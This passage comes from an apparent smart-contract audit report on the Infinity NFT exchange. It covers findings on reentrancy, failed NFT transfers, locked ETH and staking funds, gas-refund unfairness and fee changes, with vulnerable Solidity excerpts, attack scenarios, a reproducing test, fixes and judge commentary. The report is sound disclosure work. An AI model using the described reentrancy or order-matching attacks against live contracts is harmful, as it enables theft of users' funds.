    _transferERC721s(from, to, item);
  } else if (IERC165(item.collection).supportsInterface(0xd9b6
    _transferERC1155s(from, to, item);
  }
}
```

The code will go into `_transferERC721s` instead of `_transferERC1155s` , since the Sandbox's ASSETs also support ERC721 interface. Then,

```
function _transferERC721s(
  address from,
  address to,
  OrderTypes.OrderItem calldata item
) internal {
  uint256 numTokens = item.tokens.length;
  for (uint256 i = 0; i < numTokens; ) {
    IERC721(item.collection).safeTransferFrom(from, to, item.t
    unchecked {
      ++i;
    }
  }
```

```
    }
```

Since the `ERC721(item.collection).safeTransferFrom` is treated as an ERC1155 transferring with one item (reference), there is only one item actually gets traferred.

That means, the user, who barely know the implementation details of his NFTs, will pay the money for two items but just got one.

Note that the situation of combining ERC721 and ERC1155 is prevalent and poses a great vulnerability of the exchange contract.

Proof of Concept

Check the return values of Sandbox's ASSETs's `supportInterface`, both `supportInterface(0x80ac58cd)` and `supportInterface(0xd9b67a26)` return true.

Recommended Mitigation Steps

Reorder the checks,e.g.,

```
    function _transferNFTs(
      address from,
      address to,
      OrderTypes.OrderItem calldata item
    ) internal {
      if (IERC165(item.collection).supportsInterface(0xd9b67a26))
        _transferERC1155s(from, to, item);
      } else if (IERC165(item.collection).supportsInterface(0x80ac
        _transferERC721s(from, to, item);
      }
    }
```

nneverlander (Infinity) confirmed and resolved:

> Fixed in https://github.com/infinitydotxyz/exchange-contracts-v2/commit/377c77f0888fea9ca1e087de701b5384a046f760.

HardlyDifficult commented:

> When an NFT supports both 721 & 1155 interfaces, the code prefers `_transferERC721s` - however this ignores the order's `numTokens`. This may result in under filling NFTs for an order, at the same cost to the buyer. The warden's recommendation would address this concern. Or maybe `_transferERC721s` could require `numTokens == 1`, but that approach would be limiting for this scenario. Since the buyer gets a fraction of what they paid for and it impacts a top20 1155, this seems to be a High risk issue.

[H-07] `_transferNFTs()` succeeds even if no transfer is performed

Submitted by k, also found by 0x29A, 0xf15ers, 0xsanson, antonttc, hyh, PwnedNoMore, and zzzitron

If an NFT is sold that does not specify support for the ERC-721 or ERC-1155 standard interface, the sale will still succeed. In doing so, the seller will receive funds from the buyer, but the buyer will not receive any NFT from the seller. This could happen in the following cases:

1. A token that claims to be ERC-721/1155 compliant, but fails to implement the `supportsInterface()` function properly.
2. An NFT that follows a standard other than ERC-721/1155 and does not implement their EIP-165 interfaces.
3. A malicious contract that is deployed to take advantage of this behavior.

Proof of Concept

https://gist.github.com/kylriley/3bf0e03d79b3d62dd5a9224ca00c4cb9

Recommended Mitigation Steps

If neither the ERC-721 nor the ERC-1155 interface is supported the function should revert. An alternative approach would be to attempt a `transferFrom` and check the balance before and after to ensure that it succeeded.

nneverlander (Infinity) confirmed and resolved:

> Fixed in https://github.com/infinitydotxyz/exchange-contracts-v2/commit/377c77f0888fea9ca1e087de701b5384a046f760

[HardlyDifficult (judge) commented](#):

> If `supportsInterface` returns false for both 721 & 1155 then no NFT is transferred but funds are still sent to the seller.

> A number of NFTs do not fully comply with the 721/1155 standards. Since the order is not canceled or the tx reverted, this seems like a High risk issue.

[H-08] Overpayment of native ETH is not refunded to buyer

*Submitted by horsefacts, also found by 0x29A, antonttc, berndartmueller, byterocket, cccz, codexploder, dipp, GimelSec, GreyArt, Lambda, oyc*109, Ruhum, and unforgiven_

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L119-L121

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1228-L1232

Vulnerability Details

`InfinityExchange` accepts payments in native ETH, but does not return overpayments to the buyer. Overpayments are likely in the case of auction orders priced in native ETH.

In the case of a Dutch or reverse Dutch auction priced in native ETH, the end user is likely to send more ETH than the final calculated price in order to ensure their transaction succeeds, since price is a function of `block.timestamp`, and the user cannot predict the timestamp at which their transaction will be included.

In a Dutch auction, final price may decrease below the calculated price at the time the transaction is sent. In a reverse Dutch auction, the price may increase above the calculated price by the time a transaction is included, so the buyer is incentivized to provide additional ETH in case the price rises while their transaction is waiting for inclusion.

The `takeOrders` and `takeMultipleOneOrders` functions both check that the buyer has provided an ETH amount greater than or equal to the total price at the time of execution:

[InfinityExchange#takeOrders]

```
    // check to ensure that for ETH orders, enough ETH is sent
    // for non ETH orders, IERC20 safeTransferFrom will throw er
    if (isMakerSeller && currency == address(0)) {
      require(msg.value >= totalPrice, 'invalid total price');
    }
```

[InfinityExchange#takeMultipleOneOrders]

```
    // check to ensure that for ETH orders, enough ETH is sent
    // for non ETH orders, IERC20 safeTransferFrom will throw er
    if (isMakerSeller && currency == address(0)) {
      require(msg.value >= totalPrice, 'invalid total price');
    }
```

However, neither of these functions refunds the user in the case of overpayment. Instead, overpayment amounts will accrue in the contract balance.

Moreover, since there is a bug in `rescueETH` that prevents ether withdrawals from `InfinityExchange`, these overpayments will be locked permanently: the owner cannot withdraw and refund overpayments manually.

Scenario:

- Alice creates a sell order for her token with constraints that set up a reverse Dutch auction: start price `500`, end price `2000`, start time `1`, end time `5`.

- Bob fills the order at time `2`. The calculated price is `875`. Bob is unsure when his transaction will be included, so provides a full `2000` wei payment.
- Bob's transaction is included at time `3`. The calculated price is `1250`.
- Bob's additional `750` wei are locked in the contract and not refunded.

Suggestion: Calculate and refund overpayment amounts to callers.

nneverlander (Infinity) confirmed and resolved:

> Agree with the assessment, fixed in https://github.com/infinitydotxyz/exchange-contracts-v2/commit/a605b72e44256aee76d80ae1652e5c98c855ffd3

HardlyDifficult (judge) commented:

> In the case of a Dutch auction, precise pricing is unknown at the time a tx is broadcasted. This leads to users overpaying and the surplus is taken as exchange fees instead of being refunded.

> Accepting as a High risk submission.

[H-09] Calling `unstake()` can cause locked funds

Submitted by Ruhum, also found by 0xDjango, auditor0517, dipp, GimelSec, GreyArt, p4st13r4, and wagmi

Following scenario:

Alice has staked X token for 6 months that have vested. She stakes Y tokens for another three months. If she now calls `unstake(X)` to take out the tokens that have vested, the Y tokens she staked for three months will be locked up.

Proof of Concept

First, here's a test showcasing the issue:

```
    describe('should cause trouble', () => {
      it('should lock up funds', async function () {
```

```
      await approveERC20(signer1.address, token.address, amountS
      await infinityStaker.connect(signer1).stake(amountStaked,
      await network.provider.send("evm_increaseTime", [181 * DAY
      await network.provider.send('evm_mine', []);

      // The funds we staked for 6 months have vested
      expect(await infinityStaker.getUserTotalVested(signer1.add

      // Now we want to stake funds for three months
      await approveERC20(signer1.address, token.address, amountS
      await infinityStaker.connect(signer1).stake(amountStaked2,

      // total staked is now the funds staked for three & six mo
      // total vested stays the same
      expect(await infinityStaker.getUserTotalStaked(signer1.add
      expect(await infinityStaker.getUserTotalVested(signer1.add

      // we unstake the funds that are already vested.
      const userBalanceBefore = await token.balanceOf(signer1.ac
      await infinityStaker.connect(signer1).unstake(amountStaked
      const userBalanceAfter = await token.balanceOf(signer1.add

      expect(userBalanceAfter).to.eq(userBalanceBefore.add(amour

      expect(await infinityStaker.getUserTotalStaked(signer1.add
      expect(await infinityStaker.getUserTotalVested(signer1.add
    });
  });
```

The test implements the scenario I've described above. In the end, the user got back their `amountStaked` tokens with the `amountStaked2` tokens being locked up in the contract. The user has no tokens staked at the end.

The issue is in the `_updateUserStakedAmounts()` function:

```
    if (amount > noVesting) {
      userstakedAmounts[user][Duration.NONE].amount = 0;
      userstakedAmounts[user][Duration.NONE].timestamp = 0;
      amount = amount - noVesting;
      if (amount > vestedThreeMonths) {
        // MAIN ISSUE:
        // here `vestedThreeMonths` is 0. The current staked tok
        // Since `vestedThreeMonths` is `0` we shouldn't decreas
        userstakedAmounts[user][Duration.THREE_MONTHS].amount =
        userstakedAmounts[user][Duration.THREE_MONTHS].timestamp
        amount = amount - vestedThreeMonths;
        // `amount == vestedSixMonths` so we enter the else bloc
        if (amount > vestedSixMonths) {
          userstakedAmounts[user][Duration.SIX_MONTHS].amount =
          userstakedAmounts[user][Duration.SIX_MONTHS].timestamp
          amount = amount - vestedSixMonths;
          if (amount > vestedTwelveMonths) {
            userstakedAmounts[user][Duration.TWELVE_MONTHS].amou
            userstakedAmounts[user][Duration.TWELVE_MONTHS].time
          } else {
            userstakedAmounts[user][Duration.TWELVE_MONTHS].amou
          }
        } else {
          // the staked amount is set to `0`.
          userstakedAmounts[user][Duration.SIX_MONTHS].amount -=
        }
      } else {
        userstakedAmounts[user][Duration.THREE_MONTHS].amount -=
      }
    } else {
      userstakedAmounts[user][Duration.NONE].amount -= amount;
    }
```

Recommended Mitigation Steps

Don't set `userstakedAmounts.amount` to `0` if none of its tokens are removed (`vestedAmount == 0`)

nneverlander (Infinity) confirmed

HardlyDifficult (judge) commented:

> When unstaking, unvested tokens may become locked in the contract forever.

> Accepting this as a High risk issue.

[H-10] Sellers may lose NFTs when orders are matched with `matchOrders()`

Submitted by KIntern, also found by csanuragjain, GimelSec, kenzo, and unforgiven

Function `matchOrders` uses custom constraints to make the matching more flexible, allow seller/buyer to specify maximum/minimum number of NFTs they want to sell/buy. This function first does some checks and then execute matching.

But in function `areNumItemsValid()` , there is a wrong checking will lead to wrong logic in `matchOrders()` function.

Instead of checking if `numConstructedItems <= sell.constraints[0]` or not, function `areNumItemsValid()` check if `buy.constraints[0] <= sell.constraints[0]` . It will lead to the scenario that `numConstructedItems > sell.constraints[0]` and make the seller sell more number of nfts than he/she allow.

Proof of Concept

Consider the scenario

1. Alice create a sell order to sell maximum 2 in her 3 BAYC with ids `[1, 2, 3]`
2. Bob create a buy order to buy mimimum any 2 BAYC with id in list `[1, 2, 3]`
3. Match executor call `matchOrders()` to match Alice's order and Bob's one with parameter `constructs = [1, 2, 3]`
4. Function `matchOrders` will transfer all NFT in `construct` list (3 NFTs `1, 2, 3`) from seller to buyer even though seller only want to sell maximum 2 NFTs.

For more information, please check this PoC.
https://gist.github.com/minhquanym/a95c8652de8431c5d1d24aa4076a1878

Tools Used

Hardhat, Chai

Recommended Mitigation Steps

Replace check `buy.constraints[0] <= sell.constraints[0]` with `numConstructedItems <= sell.constraints[0]` [nneverlander (Infinity) confirmed]()

[HardlyDifficult (judge) commented]():

> Seller's may specify a max number of NFTs to sell, but in the scenario outlined by the warden that requirement is not enforced - leading to the sale of more NFTs than authorized.

> Accepting this as a High risk report.

[H-11] Reentrancy from `matchOneToManyOrders`

Submitted by kenzo, also found by 0xDjango

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L178

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L216

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L230

Vulnerability Details

`matchOneToManyOrders` doesn't conform to Checks-Effects-Interactions pattern, and updates the maker order nonce only after the NFTs and payment have been sent. Using this, a malicious user can re-enter the contract and re-fulfill the order using `takeOrders`.

Impact

Orders can be executed twice. User funds would be lost.

Proof of Concept

`matchOneToManyOrders` will set the order nonce as used only after the tokens are being sent:

```
    function matchOneToManyOrders(OrderTypes.MakerOrder calldata m
      ...
      if (makerOrder.isSellOrder) {
        for (uint256 i = 0; i < ordersLength; ) {
          ...
          _matchOneMakerSellToManyMakerBuys(...); // @audit will t
          ...
        }
        //@audit setting nonce to be used only here
        isUserOrderNonceExecutedOrCancelled[makerOrder.signer][mak
      } else {
        for (uint256 i = 0; i < ordersLength; ) {
          protocolFee += _matchOneMakerBuyToManyMakerSells(...); /
          ...
        }
        //@audit setting nonce to be used only here
        isUserOrderNonceExecutedOrCancelled[makerOrder.signer][mak
        ...
    }
```

So we can see that tokens are being transferred before nonce is being set to executed.

Therefore, POC for an attack - Alice wants to buy 2 unspecified WolfNFT, and she will pay via AMP, an ERC-777 token. Malicious user Bob will set up an offer to sell 2 WolfNFT. The MATCH_EXECUTOR will match the offers. Bob will set up a contract such that upon receiving of AMP, it will call `takeOrders` with Alice's order, and 2 other WolfNFTs. (Note that although `takeOrders` is `nonReentrant`, `matchOneToManyOrders` is not, and so the reentrancy will succeed.)

So in `takeOrders`, the contract will match Alice's order with Bob's NFTs, and then set Alice's order's nonce to true, then `matchOneToManyOrders` execution will resume, and again will set Alice's order's nonce to true.

Alice ended up buying 4 WolfNFTs although she only signed an order for 2. Tough luck, Alice.

(Note: a similar attack can be constructed via ERC721's onERC721Received.)

Recommended Mitigation Steps

Conform to CEI and set the nonce to true before executing external calls.

nneverlander (Infinity) confirmed and resolved:

> Fixed in: https://github.com/infinitydotxyz/exchange-contracts-v2/commit/b90e746fa7af13037e7300b58df46457a026c1ac

HardlyDifficult (judge) commented:

> Great catch! Agree with the assessment.

Medium Risk Findings (9)

[M-01] InfinityExchange computes gas refunds in a way where the first order's buyer pays less than the later ones

Submitted by Ruhum, also found by 0xf15ers, 0xsanson, antonttc, kenzo, and WatchPug

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L149

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L202

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L273

Impact

The way the gas refunds are computed in the InfinityExchange contract, the first orders pay less than the latter ones. This causes a loss of funds for the buyers whose orders came last in the batch.

Proof of Concept

The issue is that the `startGasPerOrder` variable is computed within the for-loop. That causes the first iterations to be lower than later ones.

Here's an example for the following line: https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L202 To make the math easy we use the following values:

```
startGas = 1,000,000
gasPerOrder = 100,000 (so fulfilling an order costs us 100,000 g
ordersLength = 10
```

For the 2nd order we then get:

```
startGasPerOrder = 900,000 + ((1,000,000 + 20,000 - 900,000) / 1
startGasPerOrder = 912,000
```

For the 9th order we get:

```
startGasPerOrder = 200,000 + ((1,000,000 + 20,000 - 200,000) / 1
startGasPerOrder = 282,000
```

The `startGasPerOrder` variable is passed through a couple of functions without any modification until it reaches a line like this: https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L231

```
uint256 gasCost = (startGasPerOrder - gasleft() + wethTransferGa
```

There, the actual gas costs for the user are computed.

In our case, that would be:

```
# 2nd order
# gasleft() is 800,00 because we said that executing the order c
gasCost = (912,000 - 800,000 + 50,000) * 1
```

```
    gasCost = 162,000

    # 9th order
    gasCost = (282,000 - 100,000 + 50,000) * 1
    gasCost = 232,000
```

So the 2nd order's buyer pays `162,000` while the 9th order's buyer pays `232,000`.

As I said the math was dumbed down a bit to make it easier. The actual difference might not be as big as shown here. But, there is a difference.

Recommended Mitigation Steps

The `startGasPerOrder` variable should be initialized *outside* the for-loop.

nneverlander (Infinity) confirmed and resolved:

> Fixed in https://github.com/infinitydotxyz/exchange-contracts-v2/commit/5a3f81b82a9bee2de7517b3a5f18953cb5ec3684

> Agree with risk assessment.

HardlyDifficult (judge) decreased severity to Medium and commented:

> When multiple orders are processed in batch, some users pay more than their expected share of gas costs.

> Although the impact may be relatively small values, this appears to be a common path and would result in taking more value than expected from many users during normal usage. Rating this a Medium risk issue as it leaks value impacting users who are not first in a batch transaction.

[M-02] Maker order buyer is forced to reimburse the gas cost at any `tx.gasprice`

Submitted by WatchPug, also found by 0xsanson, and shenwilly

```
    uint256 gasCost = (startGasPerOrder - gasleft() + wethTransferGa
    // if the execution currency is weth, we can send the protocol f
    // else we need to send the protocol fee separately in the execu
    if (buy.execParams[1] == weth) {
      IERC20(weth).safeTransferFrom(buy.signer, address(this), proto
    } else {
      IERC20(buy.execParams[1]).safeTransferFrom(buy.signer, address
      IERC20(weth).safeTransferFrom(buy.signer, address(this), gasCo
    }
```

In the current design/implementation, while the order is executed by the `MATCH_EXECUTOR`, the gas cost will always be paid by the maker order's buyer.

While the buyer did agreed to pay a certain price for certain NFTs, the actual cost for that maker buy order is unpredictable: because the `MATCH_EXECUTOR` can choose to execute the order while the network is extremly busy and the gas price is skyhigh.

As the gas cost at whatever gas price will be reimbursed by the buyer, the executor has no incentive to optimize and choose to execute the order at a lower gas cost.

The result is the buyer can sometimes end up paying much higher total price (incl. gas cost) for the items they bought.

Impact

While this is more of a design issue than a wrong implementation, the impact can be very severe for some users, and can cause defacto fund loss to the users who have they maker buy orders matched at a high gas price transactions.

Recommendation

Consider adding a new paramer to maker buy orders, `maxGasCost` to allow the buyer to limit the max gas they agreed to pay.

nneverlander (Infinity) acknowledged, but disagreed with severity and commented:

> We have considered this issue and decided to handle it offchain. The offchain matching engine does not send txns if gas costs are high by default. While this involves some trust, we wanted to simplify the UX for users.

> In any case, it is trivial for us to add the max gas preference setting offchain on the UI and the matching engine will respect that.

> We can consider adding this preference to the orderType itself in a future implementation.

> As such, the bug can be classified as low risk but I leave it up to more experienced judges.

HardlyDifficult (judge) decreased severity to Medium and commented:

> Thank you for the detailed response here @nneverlander!

> Due to the gas refund logic highlighted by the warden here, users could end up spending their entire balance (or amount approved) unexpectedly. I understand that this could be handled with off chain logic but a bug in that system could have significant impact on users. Since it is just a single trusted actor that could cause damage here - I believe this is a Medium risk issue due to the "external requirements" such as a bug in the off chain matcher.

[M-03] Protocol fee rate can be arbitrarily modified by the owner and the new rate will apply to all existing orders

Submitted by WatchPug, also found by berndartmueller, BowTiedWardens, cccz, csanuragjain, defsec, GreyArt, joestakey, m9800, peritoflores, reassor, Ruhum, shenwilly, throttle, and zer0dot

```
  function matchOneToOneOrders(
      OrderTypes.MakerOrder[] calldata makerOrders1,
      OrderTypes.MakerOrder[] calldata makerOrders2
    ) external {
      uint256 startGas = gasleft();
      uint256 numMakerOrders = makerOrders1.length;
      require(msg.sender == MATCH_EXECUTOR, 'OME');
```

```
        require(numMakerOrders == makerOrders2.length, 'mismatched l

        // the below 3 variables are copied to memory once to save c
        // an SLOAD costs minimum 100 gas where an MLOAD only costs
        // since these values won't change during function executior
        // instead of SLOADing once for each loop iteration
        uint16 protocolFeeBps = PROTOCOL_FEE_BPS;
        uint32 wethTransferGasUnits = WETH_TRANSFER_GAS_UNITS;
```

Per [the comment](#):

> Transfer fees. Fees are always transferred from buyer to the seller and the exchange although seller is the one that actually 'pays' the fees

And the code:

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L725-L729

```
        uint256 protocolFee = (protocolFeeBps * execPrice) / 10000;
        uint256 remainingAmount = execPrice - protocolFee;
        _transferMultipleNFTs(sell.signer, buy.signer, sell.nfts);
        // transfer final amount (post-fees) to seller
        IERC20(buy.execParams[1]).safeTransferFrom(buy.signer, sell.
```

In the current design/implementation, the protocol fee is paid from the buyer's wallet, regardless of whether the buyer is the taker or the maker. And the protocol fee will be deducted from the `execPrice`, only the `remainingAmount` will be sent to the seller.

This is unconventional as if the buyer placed a limit order, say to sell 1 Punk for 100 ETH, it means that the seller is expected to receive 100 ETH. And now the seller must consider the fee rate and if they expect 100 ETH, the price must be set to 101 ETH.

While this is unconventional and a little inconvenience, it's still acceptable IF the protocol fee rate is fixed, OR the seller is the taker so that they can do the math and agrees to the protocol fee when they choose to fulfill the counterparty's maker order.

However, that's not always the case with the current implementation: the protocol can be changed, effective immediately, and applies to all existing orders.

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1265-L1269

```
  /// @dev updates exchange fees
function setProtocolFee(uint16 _protocolFeeBps) external only(
  PROTOCOL_FEE_BPS = _protocolFeeBps;
  emit NewProtocolFee(_protocolFeeBps);
}
```

Plus, when the protocol fee rate updated to a higher rate, say from `5%` to `50%` , an maker order placed before this fee rate update can be fulfilled by a buyer, while the buyer still pays the same amount, the seller (maker) will receive `45%` less than the initial sell order amount.

Recommendation

1. Consider making the protocol fee rate a constant, ie, can not be changed;
2. Or, consider changing to the protocol fee always be paid by the taker; while matching the maker buy and maker sell orders, the protocol fee must be paid from the price difference between the buy price and sell price;
3. Or, consider changing to the new protocol fee only applies to the orders created after the rate updated.

nneverlander (Infinity) acknowledged, but disagreed with severity and commented:

> This was a design decision. Initially we were fetching the protocol fee from the complication but decided not to make external contract calls for this to save on gas. The other option was to make the protocol fee a part of the maker order but that comes with its own attack surface. So we implemented a compromise:

> https://github.com/infinitydotxyz/exchange-contracts-v2/commit/793ee814d86030477470c81c4f6fda353967a42a

> As such the severity of the bug can be classified as low since this assumes malicious intent on part of the protocol admin.

[HardlyDifficult (judge) decreased severity to Medium and commented]():

> Maker sell orders are charged the fee set at the time an order is filled and not when the order was created.

> I'm not sure that I agree this concern is limited to malicious intent. With the ability to change fee, it's safe to assume at some point the admin may choose to increase the fee. At that point, all outstanding maker sells are subject to a higher fee than expected. Some users may be more sensitive to this than others. The warden's recommendations seems to address that concern and the fix the sponsor posted mitigates it by setting a max fee that may apply.

> I think this is a Medium risk issue - an unexpected bump in fee impacting users who interacted with the system previous to that change is a form of value leak.

[M-04] Fund loss or griefing in all order matching functions [`matchOneToOneOrders()` , `matchOneToManyOrders()` , `matchOrders()` , `takeMultipleOneOrders()` , `takeOrders()`] because condition `(seller != buyer )` is not checked in any of them

Submitted by unforgiven, also found by GreyArt

Functions `matchOneToOneOrders()` , `matchOneToManyOrders()` , `matchOrders()` , `takeMultipleOneOrders()` , `takeOrders()` are for order matching and order execution and they validate different things about orders but there is no check for that `seller != buyer` , which can cause wrong order matching resulting in fund lose or fund theft or griefing. (it can be combined with other vulns to perform more damaging attacks)

Proof of Concept

We only give proof of concept for `matchOneToManyOrders()` and other order execution/matching functions has similar bugs which root cause is not checking `seller != buyer`. This is `matchOneToManyOrders()` code:

```
/**
 @notice Matches one  order to many orders. Example: A buy orc
 @dev Can only be called by the match executor. Refunds gas cc
      match executor to this contract. Checks whether the give
 @param makerOrder The one order to match
 @param manyMakerOrders Array of multiple orders to match the
*/
function matchOneToManyOrders(
  OrderTypes.MakerOrder calldata makerOrder,
  OrderTypes.MakerOrder[] calldata manyMakerOrders
) external {
  uint256 startGas = gasleft();
  require(msg.sender == MATCH_EXECUTOR, 'OME');
  require(_complications.contains(makerOrder.execParams[0]), '
  require(
    IComplication(makerOrder.execParams[0]).canExecMatchOneToM
    'cannot execute'
  );
  bytes32 makerOrderHash = _hash(makerOrder);
  require(isOrderValid(makerOrder, makerOrderHash), 'invalid m
  uint256 ordersLength = manyMakerOrders.length;
  // the below 3 variables are copied to memory once to save c
  // an SLOAD costs minimum 100 gas where an MLOAD only costs
  // since these values won't change during function executior
  // instead of SLOADing once for each loop iteration
  uint16 protocolFeeBps = PROTOCOL_FEE_BPS;
  uint32 wethTransferGasUnits = WETH_TRANSFER_GAS_UNITS;
  address weth = WETH;
  if (makerOrder.isSellOrder) {
    for (uint256 i = 0; i < ordersLength; ) {
      // 20000 for the SSTORE op that updates maker nonce stat
      uint256 startGasPerOrder = gasleft() + ((startGas + 2000
      _matchOneMakerSellToManyMakerBuys(
        makerOrderHash,
        makerOrder,
        manyMakerOrders[i],
        startGasPerOrder,
        protocolFeeBps,
        wethTransferGasUnits,
        weth
```

```
          );
          unchecked {
            ++i;
          }
        }
        isUserOrderNonceExecutedOrCancelled[makerOrder.signer][mak
      } else {
        uint256 protocolFee;
        for (uint256 i = 0; i < ordersLength; ) {
          protocolFee += _matchOneMakerBuyToManyMakerSells(
            makerOrderHash,
            manyMakerOrders[i],
            makerOrder,
            protocolFeeBps
          );
          unchecked {
            ++i;
          }
        }
        isUserOrderNonceExecutedOrCancelled[makerOrder.signer][mak
        uint256 gasCost = (startGas - gasleft() + WETH_TRANSFER_GA
        // if the execution currency is weth, we can send the prot
        // else we need to send the protocol fee separately in the
        // since the buyer is common across many sell orders, this
        // in contrast to the case where if the one order is a sel
        if (makerOrder.execParams[1] == weth) {
          IERC20(weth).safeTransferFrom(makerOrder.signer, address
        } else {
          IERC20(makerOrder.execParams[1]).safeTransferFrom(makerO
          IERC20(weth).safeTransferFrom(makerOrder.signer, address
        }
      }
    }
```

in its executions it calls `InfinityOrderBookComplication.canExecMatchOneToMany()` , `verifyMatchOneToManyOrders()` , `isOrderValid()` to see that if orders are valid and one order matched to all other orders but there is no check for `seller != buyer` in any of those functions. and also `ERC721` and `ERC20` allows funds and assets to be transferred from address to itself. So it's possible for `matchOneToManyOrders()` to match one user sell orders to its buy orders which can cause fund theft or griefing. This is the scenario for fund lose in `matchOneToManyOrders()` :

1. Let's assume orders `NFT` ids are for one collection for simplicity.
2. `NFT ID[1]` fair price is `8 ETH` and `NFT ID[2]` fair price is `2 ETH`.
3. `user1` wants to buy `NFT IDs[1,2]` at `10 ETH` (both of them) so he create one buy order and signs it.
4. `user1` wants to sell `NFT ID[1]` at `2.5 ETH` and sell `NFT ID[2]` at `8.5 ETH`. and he wants to sell them immediately after buying them so he create this two sell orders and sign them.
5. `attacker` who has `NFT ID[1]` creates an sell order for it at `7.5 ETH` and signs it.
6. Off-chain machining engine sends this orders to `matchOneToManyOrders()`: many orders = [`(attacker sell ID[1] at 7.5 ETH)` , `(user1 sell ID[1] at 2.5 ETH)`], one order = `(user1 buy IDs[1,2] at 10ETH)`
7. Function `matchOneToManyOrders()` logic will check orders and their matching and all the checks would be passed for matching one order to many order(becase tokens lists intersects and numTokens are valids too (`1+1=2`))
8. Function `matchOneToManyOrders()` would execute order and transfer funds and tokens which would result in: (transferring `7.5 ETH` from `user 1` to `attacker`) (transferring `2.5 ETH` from `user1` to `user1`) (transferring `NFT ID[1]` from `attacker` to `user1`) (transferring `NFT ID[1]` from `user1` to `user1`)
9. So in the end contract executed `user1` buy order `(user1 buy IDs[1,2] at 10ETH)` but `user` only received `NFT ID[1]` and didn't received `NFT ID[2]` so contract code perform operation contradiction to what `user1` has been signed.

Of course for this attack to work for `matchOneToManyOrders()` off-chain matching engine need to send wrong data but checks on the contract are not enough.

There are other scenarios for other functions that can cause griefing, for example for function `matchOrders()`: a user can have multiple order to buy some tokens in list of ids. it's possible to match these old orders:

1. `user1` has this order: A: `(user1 BUY 1 of IDs[1,2,3])` and B: `(user1 BUY 1 of IDs[1,4,5])`

2. then the order B get executed for ID[1] and `user1` become the owner of `ID[1]`
3. `user1` wants to sell some of his tokens so he signs this order: C:: `(user1 SELL 1 of IDs[1,6,7])`
4. matching engine would send order A and C with `constructedNfts=ID[1]` to `matchOrders()`.
5. `matchOrders()` would check conditions and would see that conditions are met and perform the transaction.
6. `user1` would pay some unnecessary order fee and it would become like griefing and DOS attack for him.

There may be other scenarios for this vulnerability to be harmful for users.

Tools Used

VIM

Recommended Mitigation Steps

Add some checks to ensure that `seller != buyer`

nneverlander (Infinity) confirmed and resolved:

> Agree with assessment. Fixed in: https://github.com/infinitydotxyz/exchange-contracts-v2/commit/c3c0684ac02e0cf1c03cdbee7e68c5a37fa334a8

HardlyDifficult (judge) decreased severity to Medium and commented:

> This is an interesting scenario where a buyer looking to flip immediately could have their order under filled.

> Given the specifics of this scenario where the user needs to sign both a buy and a sell with the same NFTs, I'm inclined to rate this a Medium risk issue.

[M-05] ETH mistakenly sent over with ERC20 based `takeOrders` and `takeMultipleOneOrders` calls will be lost

Submitted by obtarian, also found by 0xsanson, cccz, and VAD37

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L323-L327

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L359-L363

Vulnerability details

`takeOrders()` and `takeMultipleOneOrders()` are the main user facing functionality of the protocol. Both require `currency` to be fixed for the call and can have it either as a ERC20 token or ETH. This way, the probability of a user sending over a ETH with the call whose `currency` is a ERC20 token isn't negligible. However, in this case ETH funds of a user will be permanently lost.

Setting the severity to medium as this is permanent fund freeze scenario conditional on a user mistake, which probability can be deemed high enough as the same functions are used for ETH and ERC20 orders.

Proof of Concept

Both takeOrders() and takeMultipleOneOrders() only check that ETH funds are enough to cover the order's `totalPrice`:

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L323-L327

```
    // check to ensure that for ETH orders, enough ETH is sent
    // for non ETH orders, IERC20 safeTransferFrom will throw er
    if (isMakerSeller && currency == address(0)) {
      require(msg.value >= totalPrice, 'invalid total price');
    }
```

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L359-L363

```
    // check to ensure that for ETH orders, enough ETH is sent
    // for non ETH orders, IERC20 safeTransferFrom will throw er
    if (isMakerSeller && currency == address(0)) {
      require(msg.value >= totalPrice, 'invalid total price');
    }
```

When `currency` is some ERC20 token, while `msg.value > 0`, the `msg.value` will be permanently frozen within the contract.

Recommended Mitigation Steps

Consider adding the check for `msg.value` to be zero for the cases when it is not utilized:

```
    // check to ensure that for ETH orders, enough ETH is sent
    // for non ETH orders, IERC20 safeTransferFrom will throw er
    if (isMakerSeller && currency == address(0)) {
      require(msg.value >= totalPrice, 'invalid total price');
    } else {
      require(msg.value == 0, 'non-zero ETH value');
    }
```

nneverlander (Infinity) confirmed

HardlyDifficult (judge) commented:

> When accepting an order using ERC20 tokens, any ETH included will be accepted as exchange fees instead of reverting the tx or refunding to the user.

> This is a result of user error, but leads to a direct loss of funds. Accepting as a Medium risk submission.

[M-06] Bug in `MatchOneToManyOrders` may cause tokens theft

Submitted by PwnedNoMore

The `MatchOneToManyOrders` does not check whether a given sell order is malicious, i.e., containing no NFT tokens but still requiring payment.

This may cause the sellers to maliciously profit.

For example, we have a `buyOrder` and a set of sell orders `[sellOrder0, sellOrder1, sellOrder2]`. Originally, they match well but with a legal price gas (which is common in the real world), i.e., `MatchOneToManyOrders(buyOrder, [sellOrder0, sellOrder1, sellOrder2])` can be successfully processed.

